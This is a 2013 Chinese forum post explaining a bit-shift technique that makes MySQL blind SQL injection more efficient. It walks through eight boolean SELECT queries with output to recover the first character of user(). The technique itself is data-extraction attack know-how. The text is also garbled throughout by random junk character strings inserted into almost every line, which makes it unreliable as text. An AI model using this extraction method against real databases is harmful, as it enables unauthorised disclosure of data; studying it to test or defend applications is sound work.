找回密码
 立即注册
查看: 2385|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位2 s$ h& W- u! ^8 v

, `/ [( ]9 i4 E8 P' O! u- m
3 B: Z" ^5 m, a$ y8 o) K$ p8 o% g, M3 ]0 s1 o. t
下面将以查询mysql数据库当中user()的第一位为例:! @7 B: v8 {* `

5 M4 v* \$ f( r& s9 c$ b2 Y8 p% Z" k
: l( P$ I0 l; t2 B9 S  S1 X9 f, |3 X% b7 g0 H5 J, Y# `" \
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
3 f. ]7 d9 Z4 T( T1 v6 ~
8 @" a4 H! |( K0 K+ m; { 1 I5 }& M; q4 O, J/ j( m
5 _6 H$ y  L* i4 ~6 m
首先执行如下sql语句:
1 |7 _; H4 K# T7 I5 m, U9 u- R7 q9 q) J0 T
# G" ^3 j8 x3 _6 o' W$ @

: q0 x1 _4 N+ S% B: C4 H  xmysql> select (ascii((substr(user(),1,1))) >> 7)=0;. `9 `% _2 u$ ~# K  T
6 a5 O1 J% b0 @: ~

) g( r5 J& C7 b' [0 U1 Y+ T, C1 x' M( r4 u
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的8 }4 `& E  d1 J4 K

% j5 h4 R% Q! a8 ^& S! K $ s  s" _+ I3 |# w  L" i5 T6 R8 e& J
$ l2 a& T! H0 f7 d+ g; `' j
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
& B% A5 B' U; y- }/ t, {% b- {. u6 L2 ?7 V* u
* ]! |. s$ {6 r8 M6 Z" N# d

+ J+ B* S7 }/ u3 x7 O如果运算结果为1,说明第一位为0,不为1* D" }8 A# Y9 l! ?$ Y

5 y" I: I& Z2 ?5 N' T  v- K
, j" r6 g0 h; ?6 i8 l  U1 f5 a9 i; g  b% V$ u# b( X
+————————————–+
  x3 _- K6 }6 G6 d0 ^$ p( {
6 ~, Q6 x3 l' F( Y' l6 ?| (ascii((substr(user(),1,1))) >> 7)=0 |
* H: b0 |4 t2 c$ ~% h6 [
3 I1 }0 ]7 x/ D- S2 I+————————————–+$ r; y7 y' E4 m: d0 f0 q

1 ]: _! J+ A2 Y3 Z| 1 |
# `% w" Q6 C) V* a
/ x* ~' R+ [1 N4 Z' a. ~- u0 @+————————————–+0 K% j5 l2 J1 _! G9 y& {

8 T& V9 r, \+ V% J. m1 row in set (0.00 sec)
8 V( \) O# V$ y5 a7 F9 H8 C" l6 s; L; F  T( e- |3 a
这样我们就确定这个8bit的ascii的第一位为0& w( j4 @. {* X9 s
' C  k4 ?1 G1 x5 {4 f1 b
) |' o/ y3 A1 w  L/ [% T3 P

  I0 g0 T+ Y+ @2 F  A/ G第二次我们来做6次右偏移来确定前两位0 n9 H3 t% \6 C8 w0 e) I

% G4 |$ K3 ?* D7 U. l ( \7 @' c2 Y8 v
; t' i0 _0 ^$ d/ {/ S1 g4 n
前两位可能是01或00,即依然可以与0做比较,& f% Z3 @# T0 Z
: U2 `3 @5 `2 c4 o% m
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
' j+ w! d& K" k3 E. `9 ?& C, p3 L  @% U9 s; }: G
+————————————–+/ c# x( k) D6 P( ]
$ o% D+ m+ Y! l  v- ^6 f5 S9 Y$ Z+ j
| (ascii((substr(user(),1,1))) >> 6)=0 |5 O2 c- K1 t+ Y" f; m- H9 R& v1 |
' E7 M7 ]1 T0 |
+————————————–+5 E" u+ ~$ ]' I) d. M, x

9 ]* Y4 E) @3 k6 G( d% F! z| 0 |3 x" ]- x* J  Y5 s* H

4 [8 k: ~/ O# V' K" c+————————————–+7 J+ l& ?0 F$ {6 Q$ h; d5 E9 \; k
  V" ?8 V7 x: T0 _
1 row in set (0.00 sec)+ V% n* a9 B$ }; R+ p! ~6 b. y2 M
. W5 n4 v* g% N; w( `. n% J
4 H( O5 |0 n* v% g/ L
* |5 O: {" V# ]: o8 Z- F* N9 W. B
结果为0,即第二位为1- V3 \, x. w3 M9 d' U

  ~$ q/ U9 m) N( U; _
: S0 I' w' n/ h8 q7 i9 l
- n, [/ Q7 }  O: Q' t, h开始猜测前三位为010或011+ n" e- y0 K, @, T  g

8 Y7 L. g, z" v9 E* Z; A7 `; @3 R . O6 O1 f# P4 O( o$ J# a
( L* `. _. ]  b1 f; Q% L+ L, t" H4 l
让我们看看010和011的ascii码是多少1 p2 ^$ P/ L/ k7 D& A4 B* n+ c; R

- z+ @) C' U+ q" ]" T' _5 x" f; E. O
$ C0 k  ^8 Y6 ?3 c- d+ C2 L1 I# v" g! i; f& V
分别查询select b’011′ select b’010′
& x9 a( \: t' e; v! }1 F- k) [7 ^; {# V2 Q
, ]$ C9 g7 j" ~7 a  Y2 u/ o* z- r0 a' z
, Q6 T' u  t0 R  I
获得结果 010 = 2 011 = 3
: v+ n$ F; c& {) u: U& x( c( _: F7 a$ z8 l8 L' I' X
- _9 v* J  L; V& s; c; _: ]
1 ~& z' v+ a4 o2 ~
执行如下sql:: W7 w" m. p( I6 h! J
  J& W( N  y1 w! }

8 d' Q( K" Z. o: j
. P& s  z2 G4 f/ m8 }: f8 Jmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
  y; f8 q! m5 d5 M; G6 A: H) s; A6 }, M  |1 `9 V
+————————————–+
0 O# M# ~4 o. l& @" l8 O* L* Z, Y% M$ a1 f3 L* Z; p
| (ascii((substr(user(),1,1))) >> 5)=2 |
. h  C5 i$ V/ C2 f/ l" Y
4 w0 u5 t" ]0 X$ @8 J. h5 R/ u$ A+————————————–+
9 g1 ]2 H! A3 g
- q5 e# n6 d! O| 0 |$ R! N9 m* J$ @% ?% s
$ O- U3 s; D, v
+————————————–+
3 F7 ?; d' m  e
& Y2 f! |5 q% y  ^. x0 X0 Y- W+ B即前三位不为010,而是011* y8 T, y% ]1 C2 l! w  W  D- o

/ z7 G9 q3 s) {- b 1 c& w& x# ?+ \! P' ~+ r
8 K3 o2 S4 i! z5 t! i
直到获得最后一位5 w9 w" W0 ~* G* @- E0 p
. D' P) `6 Y2 d* |
3 u; o+ Q$ T3 o3 Z: f- k; }2 T
* S# j/ g! f+ I% w6 G
最终结果为:01110010. p* k4 o7 z" Q  s+ v( L
; b. ^; s. C2 D% L8 m0 R- r* x- q6 Y

4 b( |' H  z: B' |/ E: t7 U+ b$ [
! M& l) }! ~4 S0 c" [& H转换一下:$ ?2 ^' f8 Z/ M# \4 N5 l& @

1 O  I& x4 l1 T6 p$ i8 {% a ( K2 h; n6 R* ~/ N6 F* ]& l+ k
0 H: S$ o1 _- a. [. D3 ~8 _
select b’01110010′1 }9 B% |) k, `- `& G

, ^; a9 w4 `  ?! o6 B1 t* t  o4 O
' A  C& R4 F% C& r8 R6 t) ~+ s$ c! u9 o7 \! `! [3 Z  d1 `
查询结果4 X" L" h( y5 R) W. Z; R* T
" u' R/ W) V+ z+ e9 _

4 E: k$ p& V0 i# @) O( H0 g' _3 G( d' [& Z" g
+————-+& w6 ^) u' `0 O( `' D8 y

& D8 k: s6 W% _+ X: K* P| b’01110010′ |
! H( P6 k. Y$ W, I. q
- k+ o) U# x2 m# u$ N* U* X' ]+ q( Q: R+————-+" O: l$ ]: d( O
+ R# U. y) H- G, n. y
| r |
' p" J% c1 g# V3 ~
, S$ ^5 j. M. Q+————-+
/ ]5 j' C- Y$ ^% q& {5 d# V9 J! T( P7 f- o/ g
1 row in set (0.00 sec)+ l' L5 f; A* e2 \; ]4 N
( V# m* C: P) U. t/ \" Q5 i3 p

, a# Q% u% j6 l
1 l) J/ G0 N$ L这样我们就获得了user()的第一位.其它位依此类推# w# {% s  Z4 D3 R: \- v+ F6 n+ T
" E. z. r- P& O. R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表